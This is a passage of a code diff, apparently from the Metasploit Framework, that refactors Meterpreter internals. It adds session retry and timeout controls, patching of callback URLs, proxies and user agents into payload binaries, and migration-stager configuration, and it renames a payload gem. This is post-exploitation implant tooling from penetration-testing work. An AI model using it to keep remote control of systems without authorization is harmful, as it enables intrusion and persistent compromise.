return ret if not host
|
||||
vulns = []
|
||||
|
||||
if(opts[:proto] && opts[:port])
|
||||
if opts[:proto] && opts[:port]
|
||||
services = []
|
||||
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if sret == nil
|
||||
|
@ -1731,7 +1686,7 @@ public
|
|||
clients = []
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
hosts = opts_to_hosts(xopts)
|
||||
else
|
||||
hosts = wspace.hosts
|
||||
end
|
||||
|
@ -1806,7 +1761,7 @@ public
|
|||
# rpc.call('db.connect', {:driver=>'postgresql'})
|
||||
def rpc_connect(xopts)
|
||||
opts = fix_options(xopts)
|
||||
if(not self.framework.db.driver and not opts[:driver])
|
||||
if not self.framework.db.driver and not opts[:driver]
|
||||
return { :result => 'failed' }
|
||||
end
|
||||
|
||||
|
|
|
@ -389,6 +389,10 @@ module Session
|
|||
#
|
||||
attr_accessor :payload_uuid
|
||||
#
|
||||
# The unique machine identifier for the host that created this session
|
||||
#
|
||||
attr_accessor :machine_id
|
||||
#
|
||||
# The actual exploit module instance that created this session
|
||||
#
|
||||
attr_accessor :exploit
|
||||
|
|
|
@ -172,7 +172,7 @@ module Msf::HTTP::Wordpress::Version
|
|||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
# Older than fixed version, no vuln introduction date, flag as vuln
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
|
|
|
@ -132,7 +132,7 @@ module ModuleCommandDispatcher
|
|||
hosts = Rex::Socket::RangeWalker.new(opt.normalize(ip_range_arg))
|
||||
|
||||
# Check multiple hosts
|
||||
last_rhost_opt = mod.rhost
|
||||
last_rhost_opt = mod.datastore['RHOST']
|
||||
last_rhosts_opt = mod.datastore['RHOSTS']
|
||||
mod.datastore['RHOSTS'] = ip_range_arg
|
||||
begin
|
||||
|
@ -169,7 +169,7 @@ module ModuleCommandDispatcher
|
|||
instance = mod
|
||||
end
|
||||
|
||||
rhost = instance.rhost
|
||||
rhost = instance.datastore['RHOST']
|
||||
rport = nil
|
||||
peer = rhost
|
||||
if instance.datastore['rport']
|
||||
|
|
|
@ -181,12 +181,7 @@ module Nessus
|
|||
request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status")
|
||||
request.add_field("X-Cookie", @token)
|
||||
res = @connection.request(request)
|
||||
if res.code == "200"
|
||||
return "ready"
|
||||
else
|
||||
res = JSON.parse(res.body)
|
||||
return res
|
||||
end
|
||||
return res.code, JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def policy_delete(policy_id)
|
||||
|
|
|
@ -10,13 +10,17 @@ module Rex
|
|||
###
|
||||
module Patch
|
||||
|
||||
#
|
||||
# Replace the transport string
|
||||
#
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the URL
|
||||
#
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
|
@ -26,34 +30,28 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
# Replace the session expiration timeout
|
||||
def self.patch_expiration!(blob, expiration)
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
#
|
||||
# Replace the timeout data with the actual timeout values.
|
||||
#
|
||||
def self.patch_timeouts!(blob, opts)
|
||||
i = blob.index("METERP_TIMEOUTS\x00")
|
||||
if i
|
||||
str = [ expiration ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
|
||||
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
|
||||
blob[i, data.length] = data
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Replace the session communication timeout
|
||||
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ comm_timeout ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the user agent string with our option
|
||||
#
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
#
|
||||
# Activate a custom proxy
|
||||
#
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
|
@ -73,7 +71,9 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Proxy authentification
|
||||
#
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
|
||||
|
@ -93,7 +93,9 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch the ssl cert hash
|
||||
#
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
|
@ -105,24 +107,25 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service!(blob, options)
|
||||
#
|
||||
def self.patch_passive_service!(blob, opts)
|
||||
|
||||
patch_transport!(blob, options[:ssl])
|
||||
patch_url!(blob, options[:url])
|
||||
patch_expiration!(blob, options[:expiration])
|
||||
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||
patch_ua!(blob, options[:ua])
|
||||
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||
patch_transport!(blob, opts[:ssl])
|
||||
patch_url!(blob, opts[:url])
|
||||
patch_timeouts!(blob, opts)
|
||||
patch_ua!(blob, opts[:ua])
|
||||
patch_ssl_check!(blob, opts[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
options[:proxy_type]
|
||||
opts[:proxy_host],
|
||||
opts[:proxy_port],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
options[:proxy_user],
|
||||
options[:proxy_pass],
|
||||
options[:proxy_type]
|
||||
opts[:proxy_user],
|
||||
opts[:proxy_pass],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
|
||||
end
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'meterpreter_bins'
|
||||
require 'metasploit-payloads'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/ui/console'
|
||||
|
|
|
@ -85,11 +85,18 @@ class Client
|
|||
# Cleans up the meterpreter instance, terminating the dispatcher thread.
|
||||
#
|
||||
def cleanup_meterpreter
|
||||
ext.aliases.each_value do | extension |
|
||||
extension.cleanup if extension.respond_to?( 'cleanup' )
|
||||
if not self.skip_cleanup
|
||||
ext.aliases.each_value do | extension |
|
||||
extension.cleanup if extension.respond_to?( 'cleanup' )
|
||||
end
|
||||
end
|
||||
|
||||
dispatcher_thread.kill if dispatcher_thread
|
||||
core.shutdown rescue nil
|
||||
|
||||
if not self.skip_cleanup
|
||||
core.shutdown rescue nil
|
||||
end
|
||||
|
||||
shutdown_passive_dispatcher
|
||||
end
|
||||
|
||||
|
@ -111,6 +118,8 @@ class Client
|
|||
self.ssl = opts[:ssl]
|
||||
self.expiration = opts[:expiration]
|
||||
self.comm_timeout = opts[:comm_timeout]
|
||||
self.retry_total = opts[:retry_total]
|
||||
self.retry_wait = opts[:retry_wait]
|
||||
self.passive_dispatcher = opts[:passive_dispatcher]
|
||||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
|
@ -453,6 +462,14 @@ class Client
|
|||
#
|
||||
attr_accessor :comm_timeout
|
||||
#
|
||||
# The total time for retrying connections
|
||||
#
|
||||
attr_accessor :retry_total
|
||||
#
|
||||
# The time to wait between retry attempts
|
||||
#
|
||||
attr_accessor :retry_wait
|
||||
#
|
||||
# The Passive Dispatcher
|
||||
#
|
||||
attr_accessor :passive_dispatcher
|
||||
|
@ -464,6 +481,10 @@ class Client
|
|||
# A list of the commands
|
||||
#
|
||||
attr_reader :commands
|
||||
#
|
||||
# The timestamp of the last received response
|
||||
#
|
||||
attr_accessor :last_checkin
|
||||
|
||||
protected
|
||||
attr_accessor :parser, :ext_aliases # :nodoc:
|
||||
|
|
|
@ -39,8 +39,10 @@ class ClientCore < Extension
|
|||
METERPRETER_TRANSPORT_HTTP = 1
|
||||
METERPRETER_TRANSPORT_HTTPS = 2
|
||||
|
||||
DEFAULT_SESSION_EXPIRATION = 24*3600*7
|
||||
DEFAULT_COMMS_TIMEOUT = 300
|
||||
TIMEOUT_SESSION = 24*3600*7 # 1 week
|
||||
TIMEOUT_COMMS = 300 # 5 minutes
|
||||
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
|
||||
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
||||
|
||||
VALID_TRANSPORTS = {
|
||||
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
|
||||
|
@ -63,7 +65,7 @@ class ClientCore < Extension
|
|||
# Core commands
|
||||
#
|
||||
##
|
||||
#
|
||||
|
||||
#
|
||||
# Get a list of loaded commands for the given extension.
|
||||
#
|
||||
|
@ -98,6 +100,32 @@ class ClientCore < Extension
|
|||
commands
|
||||
end
|
||||
|
||||
def set_transport_timeouts(opts={})
|
||||
request = Packet.create_request('core_transport_set_timeouts')
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
{
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a library on the remote meterpreter instance. This method
|
||||
# supports loading both extension and non-extension libraries and
|
||||
|
@ -221,7 +249,7 @@ class ClientCore < Extension
|
|||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
|
@ -245,14 +273,16 @@ class ClientCore < Extension
|
|||
return true
|
||||
end
|
||||
|
||||
def machine_id
|
||||
def machine_id(timeout=nil)
|
||||
request = Packet.create_request('core_machine_id')
|
||||
|
||||
response = client.send_request(request)
|
||||
args = [ request ]
|
||||
args << timeout if timeout
|
||||
|
||||
id = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
||||
# TODO: Determine if we're going to MD5/SHA1 this
|
||||
return Rex::Text.md5(id)
|
||||
response = client.send_request(*args)
|
||||
|
||||
mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
|
||||
return Rex::Text.md5(mid)
|
||||
end
|
||||
|
||||
def transport_change(opts={})
|
||||
|
@ -275,6 +305,22 @@ class ClientCore < Extension
|
|||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
|
@ -288,12 +334,6 @@ class ClientCore < Extension
|
|||
end
|
||||
url << generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
opts[:comms_timeout] ||= DEFAULT_COMMS_TIMEOUT
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMMS_TIMEOUT, opts[:comms_timeout])
|
||||
|
||||
opts[:session_exp] ||= DEFAULT_SESSION_EXPIRATION
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
@ -595,41 +635,49 @@ class ClientCore < Extension
|
|||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
|
||||
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
# Pass the timeout information to the RDI loader so that it correctly
|
||||
# patches the timeouts into the binary.
|
||||
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
|
||||
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
|
||||
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
|
||||
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
||||
|
||||
# Patch options into metsrv for reverse HTTP payloads.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_linux_stub
|
||||
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
blob = ::File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait)
|
||||
|
||||
blob
|
||||
end
|
||||
|
|
|
@ -45,7 +45,7 @@ class Priv < Extension
|
|||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
|
||||
elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
|
||||
if elevator_path.nil?
|
||||
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
|
||||
end
|
||||
|
|
|
@ -157,7 +157,7 @@ class UI < Rex::Post::UI
|
|||
|
||||
# include the x64 screenshot dll if the host OS is x64
|
||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
|
||||
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
|
||||
if screenshot_path.nil?
|
||||
raise RuntimeError, "screenshot.x64.dll not found", caller
|
||||
end
|
||||
|
@ -172,7 +172,7 @@ class UI < Rex::Post::UI
|
|||
end
|
||||
|
||||
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
|
||||
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
|
||||
if screenshot_path.nil?
|
||||
raise RuntimeError, "screenshot.x86.dll not found", caller
|
||||
end
|
||||
|
|
|
@ -91,12 +91,14 @@ TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
|
|||
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
|
||||
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
|
||||
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
||||
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
||||
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
|
||||
|
@ -194,13 +196,14 @@ class Tlv
|
|||
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
|
||||
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
|
||||
when TLV_TYPE_TRANS_URL; "TRANS-URL"
|
||||
when TLV_TYPE_TRANS_COMMS_TIMEOUT; "TRANS-COMMS-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
|
||||
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
|
||||
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
|
||||
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
|
||||
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
|
||||
|
||||
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
|
||||
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
|
||||
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
|
||||
|
||||
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
||||
|
|
|
@ -79,7 +79,11 @@ module PacketDispatcher
|
|||
|
||||
def shutdown_passive_dispatcher
|
||||
return if not self.passive_service
|
||||
self.passive_service.remove_resource(self.conn_id + "/")
|
||||
|
||||
# Ensure that there is only one leading and trailing slash on the URI
|
||||
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
|
||||
|
||||
self.passive_service.remove_resource(resource_uri)
|
||||
|
||||
# If there are no more resources registered on the service, stop it entirely
|
||||
if self.passive_service.resources.empty?
|
||||
|
@ -102,6 +106,8 @@ module PacketDispatcher
|
|||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp['Connection'] = 'close'
|
||||
|
||||
self.last_checkin = Time.now
|
||||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.shift
|
||||
|
@ -494,6 +500,9 @@ module PacketDispatcher
|
|||
client = self
|
||||
end
|
||||
|
||||
# Update our last reply time
|
||||
client.last_checkin = Time.now
|
||||
|
||||
# If the packet is a response, try to notify any potential
|
||||
# waiters
|
||||
if ((resp = packet.response?))
|
||||
|
|
|
@ -56,6 +56,8 @@ class Console::CommandDispatcher::Core
|
|||
"run" => "Executes a meterpreter script or Post module",
|
||||
"bgrun" => "Executes a meterpreter script as a background thread",
|
||||
"bgkill" => "Kills a background meterpreter script",
|
||||
"get_timeouts" => "Get the current session timeout values",
|
||||
"set_timeouts" => "Set the current session timeout values",
|
||||
"bglist" => "Lists running background scripts",
|
||||
"write" => "Writes data to a channel",
|
||||
"enable_unicode_encoding" => "Enables encoding of unicode strings",
|
||||
|
@ -72,12 +74,13 @@ class Console::CommandDispatcher::Core
|
|||
if client.passive_service && client.sock.type? == 'tcp-ssl'
|
||||
c["ssl_verify"] = "Modify the SSL certificate verification setting"
|
||||
end
|
||||
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
end
|
||||
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
end
|
||||
|
||||
if (msf_loaded?)
|
||||
|
@ -327,6 +330,64 @@ class Console::CommandDispatcher::Core
|
|||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
end
|
||||
|
||||
@@set_timeouts_opts = Rex::Parser::Arguments.new(
|
||||
'-c' => [ true, 'Comms timeout (seconds)' ],
|
||||
'-x' => [ true, 'Expiration timout (seconds)' ],
|
||||
'-t' => [ true, 'Retry total time (seconds)' ],
|
||||
'-w' => [ true, 'Retry wait time (seconds)' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
def cmd_set_timeouts_help
|
||||
print_line('Usage: set_timeouts [options]')
|
||||
print_line
|
||||
print_line('Set the current timeout options.')
|
||||
print_line('Any or all of these can be set at once.')
|
||||
print_line(@@set_timeouts_opts.usage)
|
||||
end
|
||||
|
||||
def cmd_set_timeouts(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
cmd_set_timeouts_help
|
||||
return
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
@@set_timeouts_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-c'
|
||||
opts[:comm_timeout] = val.to_i if val
|
||||
when '-x'
|
||||
opts[:session_exp] = val.to_i if val
|
||||
when '-t'
|
||||
opts[:retry_total] = val.to_i if val
|
||||
when '-w'
|
||||
opts[:retry_wait] = val.to_i if val
|
||||
end
|
||||
end
|
||||
|
||||
if opts.keys.length == 0
|
||||
print_error("No options set")
|
||||
else
|
||||
timeouts = client.core.set_transport_timeouts(opts)
|
||||
print_timeouts(timeouts)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_get_timeouts(*args)
|
||||
# Calling set without passing values is the same as
|
||||
# getting all the current timeouts
|
||||
timeouts = client.core.set_transport_timeouts
|
||||
print_timeouts(timeouts)
|
||||
end
|
||||
|
||||
def print_timeouts(timeouts)
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
|
@ -429,8 +490,10 @@ class Console::CommandDispatcher::Core
|
|||
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ],
|
||||
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ],
|
||||
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
|
||||
'-to' => [ true, "Comms timeout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_COMMS_TIMEOUT})" ],
|
||||
'-ex' => [ true, "Expiration timout (seconds) for http(s) transports (default: #{Rex::Post::Meterpreter::ClientCore::DEFAULT_SESSION_EXPIRATION})" ],
|
||||
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
|
||||
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
||||
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
|
||||
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
#
|
||||
|
@ -462,8 +525,10 @@ class Console::CommandDispatcher::Core
|
|||
:proxy_type => nil,
|
||||
:proxy_user => nil,
|
||||
:proxy_pass => nil,
|
||||
:comms_timeout => nil,
|
||||
:comm_timeout => nil,
|
||||
:session_exp => nil,
|
||||
:retry_total => nil,
|
||||
:retry_wait => nil,
|
||||
:cert => nil
|
||||
}
|
||||
|
||||
|
@ -484,9 +549,13 @@ class Console::CommandDispatcher::Core
|
|||
when '-ua'
|
||||
opts[:ua] = val
|
||||
when '-to'
|
||||
opts[:comms_timeout] = val.to_i if val
|
||||
opts[:comm_timeout] = val.to_i if val
|
||||
when '-ex'
|
||||
opts[:session_exp] = val.to_i if val
|
||||
when '-rt'
|
||||
opts[:retry_total] = val.to_i if val
|
||||
when '-rw'
|
||||
opts[:retry_wait] = val.to_i if val
|
||||
when '-p'
|
||||
opts[:lport] = val.to_i if val
|
||||
when '-l'
|
||||
|
@ -620,8 +689,8 @@ class Console::CommandDispatcher::Core
|
|||
case opt
|
||||
when "-l"
|
||||
exts = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
|
@ -668,8 +737,8 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
def cmd_load_tabs(str, words)
|
||||
tabs = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
|
|
|
@ -579,6 +579,7 @@ class Client
|
|||
|
||||
rv = nil
|
||||
while (
|
||||
not conn.closed? and
|
||||
rv != Packet::ParseCode::Completed and
|
||||
rv != Packet::ParseCode::Error
|
||||
)
|
||||
|
|
|
@ -31,6 +31,7 @@ class Output::File < Rex::Ui::Text::Output
|
|||
self.fd.flush
|
||||
msg
|
||||
end
|
||||
alias_method :write, :print_raw
|
||||
|
||||
def close
|
||||
self.fd.close if self.fd
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
